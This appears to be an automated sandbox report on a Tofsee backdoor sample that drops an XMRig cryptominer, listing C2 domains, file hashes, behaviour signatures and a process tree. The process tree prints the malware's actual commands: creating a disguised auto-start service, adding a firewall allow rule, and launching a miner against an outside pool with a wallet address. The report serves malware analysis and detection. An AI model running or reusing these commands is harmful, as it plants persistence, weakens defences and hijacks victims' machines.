Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2022, 09:19

General

  • Target
    file.exe
  • Size 315KB
  • Sample221114-k96smsbb5x
  • SHA256 4e95d3db7c7af21e4578abae6defcf9982387452d72d36fa667f782f7d20e6fc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xyzdswyp\
      2⤵
        PID:2496
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iyelqcgv.exe" C:\Windows\SysWOW64\xyzdswyp\
        2⤵
          PID:3740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xyzdswyp binPath= "C:\Windows\SysWOW64\xyzdswyp\iyelqcgv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3988
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xyzdswyp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xyzdswyp
          2⤵
          • Launches sc.exe
          PID:5096
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4268
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1036
          2⤵
          • Program crash
          PID:4984
      • C:\Windows\SysWOW64\xyzdswyp\iyelqcgv.exe
        C:\Windows\SysWOW64\xyzdswyp\iyelqcgv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3640
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2340
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4648
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3640 -s 348
          2⤵
          • Program crash
          PID:4184
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2224 -ip 2224
        1⤵
          PID:2916
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3640 -ip 3640
          1⤵
            PID:1096

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                iyelqcgv.exe

                • Path C:\Users\Admin\AppData\Local\Temp\iyelqcgv.exe
                • Size 12.1MB
                • SHA256 2cb21f555e50f2d58e6772ce9ba3acdf6cf337d0bcfff42b7b1f78ede75d3583
                • MD5 SHA1 SHA512 SSDEEP

                iyelqcgv.exe

                • Path C:\Windows\SysWOW64\xyzdswyp\iyelqcgv.exe
                • Size 12.1MB
                • SHA256 2cb21f555e50f2d58e6772ce9ba3acdf6cf337d0bcfff42b7b1f78ede75d3583
                • MD5 SHA1 SHA512 SSDEEP

                memory/2224-133-0x0000000000973000-0x0000000000989000-memory.dmp

                memory/2224-134-0x0000000000930000-0x0000000000943000-memory.dmp

                memory/2224-135-0x0000000000400000-0x0000000000852000-memory.dmp

                memory/2224-144-0x0000000000400000-0x0000000000852000-memory.dmp

                memory/2224-143-0x0000000000973000-0x0000000000989000-memory.dmp

                memory/2340-146-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

                memory/2340-151-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

                memory/2340-168-0x00000000023E0000-0x00000000023E7000-memory.dmp

                memory/2340-165-0x0000000007B80000-0x0000000007F8B000-memory.dmp

                memory/2340-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

                memory/2340-159-0x0000000002340000-0x0000000002350000-memory.dmp

                memory/2340-156-0x0000000002330000-0x0000000002336000-memory.dmp

                memory/2340-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/2340-152-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

                memory/3640-150-0x0000000000400000-0x0000000000852000-memory.dmp

                memory/3640-149-0x0000000000A1E000-0x0000000000A33000-memory.dmp

                memory/4648-172-0x0000000000810000-0x0000000000901000-memory.dmp

                memory/4648-177-0x0000000000810000-0x0000000000901000-memory.dmp